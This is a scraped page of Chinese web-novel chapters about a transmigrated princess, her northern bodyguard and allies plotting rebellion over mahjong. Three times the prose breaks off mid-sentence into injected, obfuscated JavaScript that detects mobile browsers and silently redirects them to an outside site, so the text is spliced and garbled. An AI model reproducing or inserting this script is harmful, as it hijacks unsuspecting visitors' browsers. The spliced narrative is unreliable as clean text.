彼时已至深冬,大雪不要钱似的往下飘,千里冰封体弱畏寒便闭门不出,这掌家权自然就落到千里撼手中。 如此一来她不仅月月要看重明馆账簿,还要看相府账簿,而且一到年关开支庞大,她有时候真怀疑姥姥是不是故意的。 千里撼打了个大大的哈欠,随后倚在凭几上小憩。罗凛端盘子路过,见千里撼睡着也凑了过去,趴在案上看着她缓缓进入梦乡。 山水独坐,风雪高眠,孤身花落年年。 兰溪轩内,太师椅上,一男子端坐。玄发如瀑,指捻檀珠,玉骨天成,似有佛缘,如妖冶白莲。 他粉唇轻启,一侧耳铛轻晃,道:“从今以后,你叫流云,记住了吗?” 男子半跪在地,俯身行礼道:“流云谢公子赐名,日后定为公子竭尽全力,万死不辞!” “好了,下去吧。” 流云听话的退了出去,几日前他还在海蜃天醉生梦死,如今却改名换姓得以重见天日,人生果然多变。 经过转角时,流云难掩好奇之心,不禁再次回头看了眼他这位新“主人”。 阴鸷的眼睛被长睫覆盖,眉宇间高傲疏离,深冬之中,此人纵然白雪加身也注定难与其相关,他的眼神太不一般了。 一阵急风将雪片吹进廊内,下人见此急忙奔去打伞。 千里逢站在原地无奈的拢了拢身前狐裘,他一向不喜冬日,出行不便,衣着不便,事事不便。几日前刚接到可靠消息,雪小姐会在珍马行现身,他虽去了却无缘相见,便顺手拍下流云。 只是他实在好奇,究竟什么人让雪玉倾不惜露面点天灯也要拍下。 千里逢心中盘算着,身旁撑伞的下人一个不注意脚滑摔倒,此时刚好一阵风来,几片没眼色的雪花就这么打在他脸上。 好心情“咻”的一下,没了。 他气极反笑,冰冷的目光投向始作俑者——那块结冰的地板。 撑伞下人见此连忙跪地求饶,可他越求越绝望,因为全院都清楚二公子的脾气秉性,不见血是不会消气的。 “来人。”,千里逢淡淡道。 几个人凑上来应声道:“属下在。” “处置了吧。” “是。” 那几人一把拖走撑伞下人,无论他如何哭求都不会改变命运,就在他绝望之际千里逢突然发话了。 “等等。” “公子有何指示。” 撑伞下人心中大喜,万一二公子今日就转了性呢,万一他就放过自己了呢! 千里逢歪了歪头道:“把今天擦地的人找出来。”,他用脚尖点了点那块结冰的地板道:“尤其是这块儿,一并处置了吧。” 悬起的心再次跌入谷底,下人彻底心死不再求饶,只是静静的等待着他的命运——被活活打死。这样的事太平常了,平常到所有人都不再感到意外。 不过没关系,他并非孤身一人,至少还有一个给他垫背。思及此处,他闭上双眼露出了一抹微笑。 12. 系情结 燕儿早早起床,先去集市挑肘子,再将猪毛烧净,仔细搓洗一番,最后放入锅中卤了整整两个时辰才又下锅酱地肘子。 就这一餐,里里外外花了一小天儿,千里撼同佩儿早早坐在桌前等候,期间传出的香味都够下好几碗饭了。 罗凛刚开始还不屑一顾,抱臂道:“猪肘子是什么东西,我练的可是恣狂剑法!” 然而味道越来越香,他本在练功,最后却是手握着剑,脑中全是猪在飞,于是认命的坐在石阶上也等着开饭。 “大功告成了!” 燕儿双手叉腰站在门外拍了拍手,一脸骄傲的招呼道:“上菜!” 只见两个伙计一人一边,扛着个差不多比桌子还大的盘子就过来了,罗凛见此赶忙让路。那一大盘东西往桌上一放,顿时满院香气四溢,周围人都不自觉的咽了下口水。 千里撼吸溜了一下口水,迫不及待站起身道:“我来开盖!” “开吧开吧!” 她掀开盖子,顿时一股热气扑面而来,一整只猪腿映入眼帘。 红褐色的猪腿爆发出浓郁香气,晶莹剔透的外皮轻轻颤动,内里瘦肉的纹路一清二楚,几乎只要一碰就会散开。不仅如此,猪腿身旁还摆着各种卤货,鸭舌鸭脚鸡冠下颚等不计其数,简直色香味俱全。 罗凛看的人都傻了,他北疆生人,吃过最多的就是牛羊肉,做法也多以炙烤为主,哪里见过这红烧的做法。 美食可以融化人的心灵,就连佩儿也不例外,此刻她看猪腿地眼神温柔的能掐出水。千里撼也不废话,一人给端了一盆饭道:“开吃吧!” 罗凛接过自己的饭桶,疑惑道:“我也可以和你们一起吃?” 燕儿疑惑道:“当然啦!姑娘今早还特意吩咐不让我买肘子,直接买一整只猪腿,否则怕不够你吃呢!” 罗凛抿了抿唇,乖乖凑到千里撼身旁,他眼神飘忽不停,最终落在自己的饭桶上,问道:“为什么你们的是饭盆,我的是饭桶。” 闻言,众人齐刷刷回头,仿佛在问:“你说呢?” 千里撼顿了顿道:“要不……你跟我换?” 罗凛心下一惊抱紧饭桶道:“不要!这是我的饭!” “那就快点吃吧,别傻站着了。”,千里撼埋头吃了起来,期间抬头问燕儿道:“姥姥的那份送去了吧?” “姑娘放心,家主那份我早早就送过去了,特意挑的少肥多瘦。” 千里撼满意的摸了摸燕儿的头道:“卓的嗷。” 罗凛见没人理他,眼睛来回瞧了好几圈,最后抱着饭桶吭哧吭哧给自己搬了把椅子,横插在千里撼与燕儿中间。末了,还特地将椅子向旁边蹭了蹭,这样便可离千里撼近些,如此一来才安心吃起饭。 自那之后罗凛有事没事就跟在千里撼身后,却每次都不敢和她对视,起初千里撼还觉得他有坏心眼儿,渐渐的她只当罗凛斜视,毕竟原书里也没说北疆王不可以是斜视。 “郡主,有您的信!” “好,放哪儿吧。” 估计又是钱双双那疯子来跟她咨询谈恋爱那点破事儿,千里撼本不打算看,可转念一想自己阴差阳错收下了罗凛这个小BOSS,倒是可以问问钱双双他有无弱点什么的,日后能成助力最好,但若成不了,也好有个法子对付。 她拿过那封信后发现下面有个盒子,打开后掉出一块香片。 千里撼拿在手中把玩,这是一块莲花状的圆片,背后刻着“雪中春信”四个字,香片轻触鼻尖,果然嗅到淡淡梅花香。 这绝不是钱双双的信,她不可能会做这个东西。千里撼拆开信纸后更加笃定这一点,因为这是一封来自闻府的信,寄信人则是她的“未婚夫”闻武。 大致内容是四日后闻武会登门拜访,顺道医治姥姥的腿疾,可能会住上一段时日。她们婚约已定,闻武搬来也不过迟早的事,不过就凭他能想着姥姥蹆疾就足够了,这是个好孩子。 案旁烛火爆了一声,焰光舞动几回,廊外佩儿同罗凛切磋声不断,燕儿则埋头磨墨不问世事。 千里撼百无聊赖,趴在堆积如山的公文中盯着那封信反复看,闻武字迹清逸洒脱,勾得千里撼忆起那日雪中相见。 那场雪很大,她记得八年前京城也有同样一场大雪,那时她刚刚穿越而来,对一切都很生疏。千里撼拖着年幼的身躯跑进大雪之中,在街上往返徘徊,企图寻找归家之路,可惜无功而返还险些丧命,幸而得到好心人一柄纸伞一件衣裳才保全性命回到相府。 她不捏着信纸不愿放下,另一只手心摩挲着香片,幽香阵阵。烛光映在她得脸侧,终于有了些许少女模样。 自那日闻府一别后他们再没见过面,虽是皇帝赐婚,世家联姻,并无情感,可千里撼不愿葬送他人更不愿委屈自己,本打算娶个明事理的夫郎回来相敬如宾即可,却没想到闻武这个意外之喜。 “燕儿?” “姑娘我在,有什么吩咐?” “帮我找个能放香片的香牌,顺便通知下人明日把东厢房收拾出来。务必要收拾的干净,房内放上红梅,四日后闻家十三郎要登门拜访,为姥姥医治旧疾。” 燕儿本来昏昏欲睡,一听这事,马上精神了,问道:“准姑爷要来了!” 她这声惊叫给千里撼吓了一跳,惊慌失措道:“怎么了,你恨他?” “不不不,我怎么会恨准姑爷!郡主你放心,我铁定将东厢房布置的跟皇宫一样,包姑爷开心。” “停。”,千里撼用脚都能猜到燕儿想干嘛,她从小服侍千里撼,审美一直很奇葩。 千里撼赶忙打断道:“你不要私自发挥,按我说的做就好,听到了吗?” 燕儿闻言瘪了瘪嘴道:“哦,那好吧。” “嗯,去办吧。” 千里撼前脚刚放人,燕儿后脚关上门就拐跑佩儿。她在屋内都能听见燕儿兴冲冲道:“佩儿姐姐,快来快来,我有大事要同你讲!” 罗凛一头雾水道:“什么大事非赶练功时候说啊?” 燕儿挥挥手道:“你今晚自己练去吧,我和佩儿姐姐有事,去去去!” 佩儿听话地把剑丢给罗凛道:“给你,左手打右手,练去吧。” “啊??” 在罗凛绝望的目光中,两个小姐妹勾肩搭背的跑掉了,留他一人站在寒风中瑟瑟发抖,回头再看千里撼房中还亮着便又有了力气。 他必须好好练功变强,否则无法保护郡主,思及此处罗凛真就一手拿一把剑练了起来,别提多起劲儿了。 翌日,千里撼修书一封交给佩儿道:“你替我去一趟禾岭,把这个交给王大人。” “遵命!” 佩儿取过信物即刻启程,留下罗凛同燕儿面面相觑。 按理来讲他和佩儿一明一暗保护千里撼,佩儿身手了得平日里用不上罗凛,大多数时间他都只充当千里撼的腿部挂件,可如今佩儿一走岂非就只有他一人保护千里撼? 罗凛顿时如临大敌,握紧弯刀,时刻贴在千里撼身旁,看谁都像坏人,活像一条刚就业的大型犬,摆明了要出业绩。 千里撼见他这幅样子只当小孩子新鲜,可时日一长毒性就出来了。 刚开始罗凛只是不给她私人空间,有段时间甚至如厕睡觉也要跟着,后来被千里撼暴揍一顿他便更改策略,日日亲自过目千里撼吃食,还非要自己亲自刷冲碗筷,以此保证不会被人下毒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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千里撼心中五味杂陈,继续教育道:“罗凛,这不对。我对你好不是为了吼你。同样,任何人都不该无缘无故的对你大呼小叫,哪怕是你喜欢的人也不可以。” “为什么?我愿意的,没关系。”,很显然,罗凛核桃大的脑仁儿并不能理解这番话。 千里撼思来想去换了另一种表达方式,道:“从今以后,无论任何人,只要对你不好或是大呼小叫,杀了他,我给你兜底。” 这下罗凛听懂了,对千里撼甜甜一笑道了声,“好!” 千里撼满意的笑了,比起狗屁思想教育果然还是最直接的指令来的痛快,心理健康什么的都去死吧! 如今剧情远远没进北疆主线,罗凛正养精蓄锐为夺回北疆做准备,他无法离开千里府,同时千里撼有意培养他,自然不会放手。 自珍马行一别后,她与玉雪倾曾通信两次,玉家本就岌岌可危,如今又藏了个陈氏余孽,想必压力不小。 坐以待毙是不可能的,千里撼早就打算好要放手一搏,这万里江山该变天了。当初救下罗凛一方面是阴差阳错,可另一方面,若有朝一日她同玉雪倾联手谋反,那么身为北疆王的罗凛就太有用了。 北疆兵强马壮,威武善战,一旦加入战场必然事半功倍。 她盯着罗凛出神,脑中想的是两军对垒。罗凛回望着他,眼神纯净直白。 过了许久,千里撼撂下心中盘算,叹了口气,吩咐道:“到马厩挑一匹马,陪我去重明馆。” 罗凛见千里撼真不生气了,兴高采烈道:“是!” 入夜,兰溪轩—— 千里逢将一只药瓶交给流光,道:“这是奇毒昙花,服下后无知无觉,夜里才会毒发。明日我会设法将你送进慎终馆,若此事败露,即刻服毒,死都不能说你是兰溪轩的人,知道了么?” “属下领命!” 13. 赌上一切的战争 重明馆好歹是自家地盘,千里撼待着舒心,更何况除了这地方还有哪里能让她和玉雪倾坦然相见呢。 二人一到重明馆便径直钻进赌坊,罗凛虽在此混过一段时日,但毕竟只是作为待售奴隶徘徊于一楼,活动范围有限,如今跟随千里撼再度来此,可谓是大开眼界。 重明馆内四通八达,像一座蜃楼迷宫,她显然不是头一回来,轻车熟路地避过人群,穿越道道暗门上到赌坊三楼的静室,罗凛全程紧贴千里撼走,生怕跟丢。 千里撼前脚进门,后脚钱双双便端着一盘烤猪蹄推门而入,道:“老大你来啦——” “等等,你是谁?” 见千里撼身旁站着个男人,钱双双脑中顿时闪过一万种可能,最后都被否决了。 罗凛上前一步正要开口,结果千里撼一把拦住,抢先道:“猜猜啊?” 钱双双放下猪蹄仔细打量罗凛,目光直白的吓人,就怕把他皮剥开瞧了。最后钱双双眼神停留在罗凛那对高耸的胸肌上恍然大悟,道:“你是斛——” 千里撼眼疾手快,一个猪蹄塞进钱双双嘴里,假笑道:“趁热啊你~” 钱双双胸中了然,顿时小鸡啄米似的点头,千里撼这才放开她兀自吃起来。 “你是斛……虎头虎脑的罗凛,对吧?”,钱双双拿下猪蹄啃了口,对罗凛道。 虎头虎脑?这算什么形容? 罗凛虽不理解但听话点头,道:“是。” “我叫钱双双,是老……是郡主的好友。她跟我提起过你。” 罗凛心中不解,依旧点点头,目光缓缓飘向千里撼所在方向,最后默默低下头红了耳朵。 钱双双看到自己笔下完美的大儿子,顿时有种自豪感,于是开始母爱泛滥,推荐道:“秘制烤猪蹄,外面买不到的!快来尝尝!” 面对好大儿,钱双双满心满眼的欣赏,毕竟罗凛这个角色可是很受慕强批和事业批欢迎的,而她也的确在他外貌描写上下足了功夫,光这傲人的身材她就翻了不少书。 罗凛看了看千里撼,等她点头后才听话的坐在其身侧大快朵颐,期间钱双双问了他无数个问题,但他心不在焉也没怎么回答。 “叩叩!” 玉雪倾推门道:“好久不见啊,诸位!” “的确好久不见了,”千里撼起身向玉雪倾介绍道:“她叫钱双双,是重明馆老板。后面这个是我的护卫,罗凛。” 玉雪倾笑了笑道:“我和钱老板早就认识,当初珍马行的消息就是她透露给我的。” 闻言,千里撼疑惑的盯着钱双双。钱双双急忙附耳过去,道:“我自己的女主,肯定得开点外挂呀!透个消息推进剧情嘛,不然我怎么把她跟男主从隔间分开嘛!” 千里撼半信半疑,但也不当回事。她本来招呼玉雪倾入座,偶然瞥见其身后站着个气度不凡的人,着护卫打扮,带青红鬼面。 “这位是?” 玉雪倾拉过那人顿了顿道:“这是我的护卫,叫常玄。” 闻言,千里撼挑了挑眉道:“可是那位旧友——常玄?” “正是。”,玉雪倾朝她眨眨眼,示意别说太多。 “好啊,看来还是你们国公府更会养人。才多久便这么结实了。”,钱双双调侃道。 “好了好了,别逗她了,”千里撼长驱直入道:“雪倾,我的建议你可想好了吗?” 玉雪倾无声叹息道:“哪里由得我去想。前几日陛下刚以奢靡之罪下令,贬我舅舅去连山关驻守。我玉家除我娘外还有三支,而今舅舅那支远迁西北,这样一来国公府兵力分散,拆起来就更方便了。” “故技重施啊。”,千里撼毫不意外道。 常玄觉察到玉雪倾低落的情绪,轻轻向她靠拢一些。 “琼林,白家江山并非铜墙铁壁。当年夷人就是在先帝退位之际,抓住机会,趁虚而入,一举攻下禾岭要塞,最后连通两城。若我们也能占据禾岭,只需连通三城便可直捣黄龙,一把扼住白家脖颈。” “只不过……”,玉雪倾神色黯然道:“要有兵。” 钱双双乐观道:“全天底下最好的将领都在这屋里了,要兵还不容易么。” “哈哈,没那么简单的,姑娘。” 一旁常玄耐心解释起来,“带兵打仗,将领固然重要,但更重要的是兵马粮草,说白了就是钱。除此之外还要军需军备,更要师出有名,否则难以持久。” “钱?”钱双双拍拍胸脯道:“我就是钱。” 常玄听玉雪倾说过钱双双的身份,自然明白她的实力,这偌大的重明馆就是一座金山,钱双双当然有底气说出这些话。 “可是,该去哪里招兵呢。”,罗凛问道。 千里撼本在沉思,闻言笑道:“你终于舍得出声了?” 罗凛闻言一愣,不好意思地挠了挠头道:“我只听得懂这些。” 玉雪倾道:“其实玉家早料到今日之难,所以有支军队随时待命。” 千里撼:“多少人?” “四千。” 此言一出,钱双双扭过头去瞧了瞧玉雪倾又瞧了瞧千里撼,最后默默低下头。 千里撼看向玉雪倾真挚的眼眸微微一笑,舒了口气道:“还是不太够啊……” 常玄:“我听闻邵雍境内有一伙山匪盘踞,据说是昔日的南疆旧部,只是不知他们可否愿意合作。” “合作?” 千里撼止不住的笑起来道:“我千里家和南疆打了六年才打的他归顺大魏,如今再去求其旧部叛乱,这究竟是在打谁的脸?” “没有合作,只有俘虏,”千里撼直言道:“过几日我会派人前去打探,若能为我所用最好,若不能我也不介意出兵剿匪。” 众人闻言皆是一惊,千里家为官者众,为将者少,本以为会是儒雅风流之人,不想杀气竟这样重。 钱双双倒是毫不意外,撇了撇嘴继续啃猪蹄。 玉雪倾道:“兵马固然重要,可这战前准备也耽误不得。”,她说着和千里撼对上眼神,相视一笑。 千里撼道:“她白笑孔能故伎重施,难道我就不能吗?” 二人几乎想到了一块儿去。 玉雪倾道:“白笑孔子嗣众多,蠢蠢欲动的更是不计其数。只是不知这其中,有哪些能为我们所用。” “她的孩子最像她,想来过不了多久便会主动来找咱们了。”,千里撼喃喃道。 几人本来还在议事,结果聊着聊着却莫名搓起麻将来,顺便拉家常。 钱双双硬生生啃完一盆猪蹄,发现她们竟还没聊完。当初写书时就没在军事上太下功夫,主要自己也不太懂,如今穿进书中才明白这短短几句话有多难。 昏昏欲睡之际钱双双灵机一动,搬来一副麻将。犹记当年,她大手一挥推出麻将,顿时风靡大魏,赚了个盆满钵满。 “来嘛来嘛!边打边说,不然多无聊啊!”,钱双双极力推荐道。 “玉姑娘,你会这个吧?” 玉雪倾抿唇一笑道:“这个……我的确会。” “太好了,那一起来玩儿吧!”,说着钱双双又瞄准千里撼,用一种极其肉麻恶心的声音道:“老~大~~” “停。” 千里撼一把推开她的脸道:“我可以玩,但你要去哪儿凑第四个人。” 钱双双闻言兴冲冲看向自己的“好大儿”罗凛,结果发现他一副连麻将是什么都不知道的神情,于是不死心的又看向常玄,然而常玄戴着面具她什么都看不出。 见玉雪倾跃跃欲试,常玄开口道:“我会,这样就凑够了。” 钱双双顿时喜笑颜开,拍手叫好。玉雪倾有些惊喜,回头问道:“你竟还会这个?” “毕竟也在海蜃天待过一段时日,这些还是摸过的。”,常玄有些不自在的别过头,躲避着玉雪倾的目光。 千里撼见状,高高跷起二郎腿,拿个猪蹄看热闹,见二人周围那时不时冒出的粉红泡泡更是频频偷笑。 原书里陈长行是个纯真善良的孩子,只可惜命运捉弄,使其漂泊一生,可即便如此他在最后也闯出了一番天地。 如今他化名常玄成为玉雪倾的护卫,虽日日带着鬼面,可只要站在玉雪倾身边千里撼就觉得他那鬼面在傻笑,甚至还会冒粉色花花。 作为坚定的女主党,千里撼是同意这门亲事的,毕竟玉雪倾为常玄所做种种她都看在眼里。 最重要的是,玉雪倾喜欢。 常玄看起来很会带孩子,同罗凛很是聊得来。他见罗凛一头雾水便道:“这东西很简单,罗兄你先看几圈,之后再由我换你来玩。” 罗凛点了点头,给自己搬了个椅子坐在千里撼身旁看起来。 “这就对了嘛!开心最重要,管它什么大事小事,也不耽误吃喝玩乐,总搞的那么紧张多无聊呀!”,钱双双一坐下便开始码牌,期间常玄一直在给罗凛讲牌。 几人刚开始还聊正事,说着说着便沉浸式搓麻将了。钱双双不愧为重明馆老板娘,一出手直接让玉雪倾输的底朝天,千里撼与常玄仅能自保。 “哈哈,都怕了吧!”钱双双威风凛凛的码牌,桌上银子堆成了小山,她密切关注桌上几人,尤其千里撼。 所谓赌桌之上无父子,千里撼深谙此道。她头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292883|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑灵活,将所有牌记在心底,每出一张都要仔细算计。 虽出牌慢些,可一旦叫她摸到规律,那这一局便非赢不可了。千里撼牌风就是如此,赶尽杀绝,任钱双双再怎么变着法儿的出牌也会被她围追堵截憋死过去,因此几圈下来尚能自保。 玉雪倾闻言笑道:“钱老板一出手果然不同凡响,只是这局恐怕要不如你意了呢。” 钱双双抬眼看向玉雪倾那边,眼神凌厉像要洞穿牌面。谁知玉雪倾碰了张牌便将麻将一把扣下,随后似笑非笑地看向钱双双。 这是什么意思? 钱双双心中泛起嘀咕,神情变得不自然。她早在每个人身后都放了能反光的物品,就为了偷看三家牌,如今玉雪倾将牌叩下又这副神情,难不成是已经发现了? 钱双双顿时有些紧张,心不在焉,不小心出错一张牌。常玄见状一把按住,将那九筒拿回道:“吃!” 他同玉雪倾对视一眼,也换上与其相似神情,道:“多谢钱老板,我听牌了。” 千里撼见状瞥了眼常玄手中牌数,随后默默将手中麻将调换位置,打出一张无关紧要的牌。 钱双双这下有些急了,眼见常玄临门一脚就要赢了便开始抓耳挠腮,最后果不其然“点炮”了。 见回了本儿,常玄也不恋战,果断让位给罗凛,然而谁都没想到的是,罗凛竟开始了一场“屠杀”。 他刚一上桌钱双双便大输特输,此时玉雪倾同千里撼两家赢,罗凛发挥虽不稳定但好在有“新手保护期”,运气好的要命,并且他还是个傻子,面对玉雪倾的心理战术毫不买账,如此几圈下来钱双双便将方才赢的钱全给吐了出去。 “天呐!你是不是克我啊!”,钱双双望着自己咽了气地荷包对罗凛控诉道。 千里撼毫不客气的嘲笑道:“方才一打三的气势去哪儿了,爬起来继续啊。” 钱双双:“不不不,这一定是新手保护期!” 罗凛疑惑道:“什么保护什么?” “不,不重要。”,钱双双对常玄哭诉道:“常兄弟你快回来吧,我觉得还是你比较旺我!” 常玄见状摆摆手道:“还是算了吧,我已经旺的身无分文了。” 玉雪倾被他这番话逗笑,瞥了眼常玄腰间,附和道:“钱老板这手气果真非同凡响,我赢了好久也不过才把本儿赢回来而已。” “算了!”,钱双双哀号片刻抱臂道:“今日运气不佳,我们改日再战!” 千里撼松了松肩道:“我也正有此意。” “肩膀痛吗?”,罗凛见千里撼一直揉着胳膊问道。 千里撼挑眉道:“你不疼?” “不疼。” “哈哈,”千里撼对这个肌肉怪物有些无语,失笑道:“那你厉害。” 玉雪倾打算调侃一番,结果见罗凛那粘在千里撼身上的目光,好奇心顿时跳了出来。她拿手肘怼了怼常玄,发现常玄也在看他们二人。 “琼林今日应是最大赢家了吧,”玉雪倾边说边偷瞄罗凛道:“待会儿回去是不是该好好犒劳犒劳你这颗福星呀?” 千里撼迷惑道:“福星,在哪?” 常玄接力道:“当然是罗兄弟啊,他一落座咱们几人的运气可都好了。” “这倒确实”,千里撼思索道:“既然他这么有天赋,那我改日送他副麻将吧,以后没准能靠这个富甲一方。” “这……”,玉雪倾语塞,想了半天只夸出句,“还是琼林有创意啊。” 钱双双方才不知跑去了哪儿,神秘兮兮地端着个盒子回来。 “这里头是重明馆事牌,日后你们若有需要可持牌直接来找我,不必再约时间。” 玉雪倾同常玄一人拿了一块,千里撼拿到手后直接递给罗凛。 钱双双道:“这个东西是我找人现做的,普天之下就四块。你们一人一块,可不要弄丢。” 玉雪倾拱手道:“我代常玄多谢钱老板。” 钱双双摆摆手道:“不谢不谢,这样以后约牌也方便,一举两得!” “就猜到是这么回事,今天你可打爽了吧?”,千里撼道。 “爽!好久没这么玩儿了。不过你们几位也该走了,趁天还没亮快快动身吧。” “好,那便告辞了。”,玉雪倾说罢带常玄先行离开,免的引人注意。 千里撼没过多久也同罗凛骑马离开,留钱双双一个人躺在静室中又开始百无聊赖的日子。 她不如高肃坚强,从小基本没有过什么坎坷,天生爱玩爱热闹,所以每每夜深人静时她总会有些想家,想那一口阿妈靓汤,想现代社会的一切。 14. 苦含情,遣谁听 晨起风冷又是冬季,罗凛特地从重明馆拿了个斗篷给千里撼,二人回到府邸时鸡都还没打鸣。 “去歇息吧。”,千里撼打了个哈欠道。 “我今日还未练剑。” “啊?” 千里撼目瞪口呆。这人是铁打的吗,还是棕熊成精了?怎么能连着一天一夜不歇息还有力气去练剑。 在千里撼震惊的眼神中,罗凛就这么自然的掏出剑练了起来。见此,她在心中默默为罗凛竖了个大拇指,要不怎么说人家能当北疆王呢。 于是千里撼就这么在声声剑鸣中睡下了,然而她不知道的是罗凛的剑也没怎么练好。 刺、劈、撩、挂、点。罗凛出剑越来越急,最后累得柱剑跪地气喘吁吁。 他从胸口掏出那枚事牌,千里撼方才说这是送他的,只送给他一人。罗凛将其拿在掌心看了又看,最后重新塞进心口。 他的体温比寻常人要高些,哪怕数九寒冬,只要热起来整个人的脸颊也是红红的,就像现在一样。 罗凛卸了力,双手第一次抚上自己的脸颊——好烫,好像要将人灼伤。 不远处,千里撼房中传来均匀的呼吸声,天空中若有似无的飘起薄雪。 他丢下长剑缓缓走到那扇门前,站定。 虽隔着一扇门,可这扇门于他而言形同虚设,只肖轻轻一推便能破开。 蠢蠢欲动的手悬在半空,屋内呼吸声一起一伏,好似牵扯着罗凛的心,淡淡的金桂香气从缝中透出,像一只无形的手在他胸口轻轻一撩,复又推开。 那一瞬地冲动就这样被轻易遏制。 从未有过的感觉弥漫在心头和指尖,他就这么停在门前,不知所措,直到雪花将长剑埋没。 “罗护卫?”,一个女声传来。 他猛然醒悟,回头看向那人,眼里带着被拆穿的惊愕。 女子手捧铁盆仿佛是来叫醒千里撼的,她满脸疑惑道:“罗护卫是有事找郡主吗?” “不、不,我……” 罗凛双手握紧成拳,整个人被白雪掩盖。见他说不出话,侍女宽慰道:“罗护卫若不急便稍等片刻吧,待会儿郡主洗漱后我再叫你如何?” “好。”,罗凛如释重负,转身离开。 然而走了几步突然发现两手空空,最终又迫不得已回头,去找那柄被雪淹死的长剑。 远处,侍女叫了两声便推门而入。看着那扇轰然打开的大门,罗凛再次愣住,不过片刻,侍女阖上门了,好似驱逐般。 他识相的转身离开,连同门前那对脚印也被雪花覆盖。 “郡主!郡主起床啦!”,小薇轻声唤道。 千里撼浑身酸疼,乏的很,被叫了好几声也不愿醒来。 “都已辰时了,郡主再不起就要错过最好的日头了。”,小薇是前几日新买来的侍女,燕儿回家探亲这几日便都由她服侍。 这个小丫头最会拿捏千里撼,知道她喜欢什么东西,爱听什么话,本打算好赖床的千里撼一听这话便睁开双眼,不情不愿的坐了起来。 “燕儿离开几天了?” 小薇道:“约摸有四天了吧,郡主想她了吗?” 千里撼笑道:“我想她的手艺了。” 小薇端来铁盆为千里撼净面,这个姑娘年纪尚小却服侍周到,的确让人舒心。 “红杉这几日可有送信来,兰溪轩那位可有什么动向?”,千里撼打了个哈欠,坐在镜前等小薇给她梳头。 “红杉哥就送过一次信来,他说二公子出门了,好像是去温昔。” 千里撼道:“温昔?他去那么偏的地界儿做什么。” “不知道。估摸着是想观奇景吧,毕竟温昔有白头山瀑布呢,冬日一冻可壮观了。”,小薇手巧,简单几下便将千里撼头发梳好。 “这样啊,”千里撼扭过头道:“你说我们要不要也出去走走?” 小薇顿时喜笑颜开,“那我们去哪儿啊郡主!” 千里撼思索一番道:“公主府,那里最壮观。” “好呀!我听说邵雍公主很是美丽呢!” “行了,你去准备吧。帮我把罗凛叫来。” “是。” 小薇为人沉稳安静,千里撼望着镜中小薇的背影无奈道:“若是燕儿定会打扮一番,毕竟这公主府中的面首才是大魏最壮观的风景。” “郡主,你找我。”,罗凛不知何时站在她身后出了声,似鬼般悄无声息。 千里撼被其眼下乌青吓了一跳,却不知他是缘何如此,像霜打的茄子,垂头丧气。 “怎么把自己造成这副模样,我记得我只睡了两个时辰啊?” 罗凛不敢和千里撼对视,含糊道:“嗯。对,没什么……” 千里撼轻声叹息道:“你先回去歇息吧,待会儿陪我去一趟公主府。衣裳我会叫人放在你屋里,醒了记得穿上。” “……只有我们两个吗?”,罗凛微微抬头询问道。 “还有小薇。” “好吧。” “怎么,你有事?” “没、没什么。我先回去了。”,罗凛说罢急忙离开。 千里撼一头雾水,分明昨夜打麻将时人还很好,怎么今日就一副丢了魂魄得模样,真是搞不懂。 她有意拉拢罗凛,可数月相处下来,千里撼发现如今的罗凛根本不具备武器的能力。 不过转念一想,他如今这幅好欺负的模样若被白帝媐那霸王看上,岂不危险? 不行不行,绝对不能让北疆和白家沾上除了仇之外的任何关系。 千里撼思索一番想出了个绝妙的主意,唤人翻箱倒柜找出了一件青色燕尾袿袍。 罗凛躺在榻上,双目一合便是千里撼的脸,他吓的急忙睁开,阵阵心虚。下人推门而入,将衣裳放在桌上叮嘱他穿好,罗凛没出声。 他翻身下床拎起那套衣裳端详起来,是件青黑相间的盘领,料子自不必说,外头触手微寒内里则似火炉般绵软温暖。 罗凛将衣裳放在自己身前比了比,结果掉出一根镶金的蹀躞带,他认得这东西,只有达官显贵才会佩戴。 这些日子里,他常常会在梦中看到个同自己长得一模一样的人驰骋在北疆草原,记忆如涓涓细流淌回罗凛心中,他想起自己是北疆人,想起北疆的花香,虽然还不知道自己究竟是谁,但行为举止愈发成熟,看向千里撼的目光也开始改变。 说不上哪里变了味儿,但他很久没有主动抱过千里撼了。她对他很好,但她对所有人都这么好。 罗凛默默捡起蹀躞带绑在腰上比了下。 “魏人的衣裳。” 他突然想起幼时曾见过的一对魏人伴侣,他们身上就带着这个,女子拇指上套着一枚碧玉扳指,领着属于她的男人在草原上策马奔腾,在盘旋的双鹰下放声大笑。 那是割裂于北疆笑声,在北疆女人属于男人,而男人属于草原和战场。 魏人好奇怪,喜欢繁复的装饰,喜欢颠倒的关系,还喜欢肆意给予他人温暖。罗凛想着,换上了那套衣裳,如同那对伴侣中的男人。 他五官深邃,任谁都能一眼发现不是魏人,可那已经不重要了,因为此刻他同样不属于北疆。 “罗护卫,你好了吗?”,小薇敲了敲门询问道。 罗凛一把打开门,越过小薇看到远处的千里撼。 她今日很不一样,穿着他叫不出名字的华服立于院中,罗带双垂,鬓发堆雪,整个人散发着太阳般的光芒。罗凛不自觉的被吸引过去,等到千里撼发现那道目光时罗凛已经站在她身前了。 “还行,终于有些公子的模样了。”,千里撼调侃道。 罗凛道:“你……喜欢我这样?” 千里撼坦率的应了声,道:“你穿这一身挺好看的。” “只不过……” 罗凛:“什么?” 千里撼仔细端详过后道:“好像少了点什么。” “小薇,你去给他编几个辫子。” 小薇呀了一声,垂头丧气道:“郡主恕罪,奴婢不会编辫子。” “好吧,”千里撼摇摇头道:“那我来吧。” 她将罗凛领到镜前坐下,从他头上分出头发,罗凛头发很多,末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 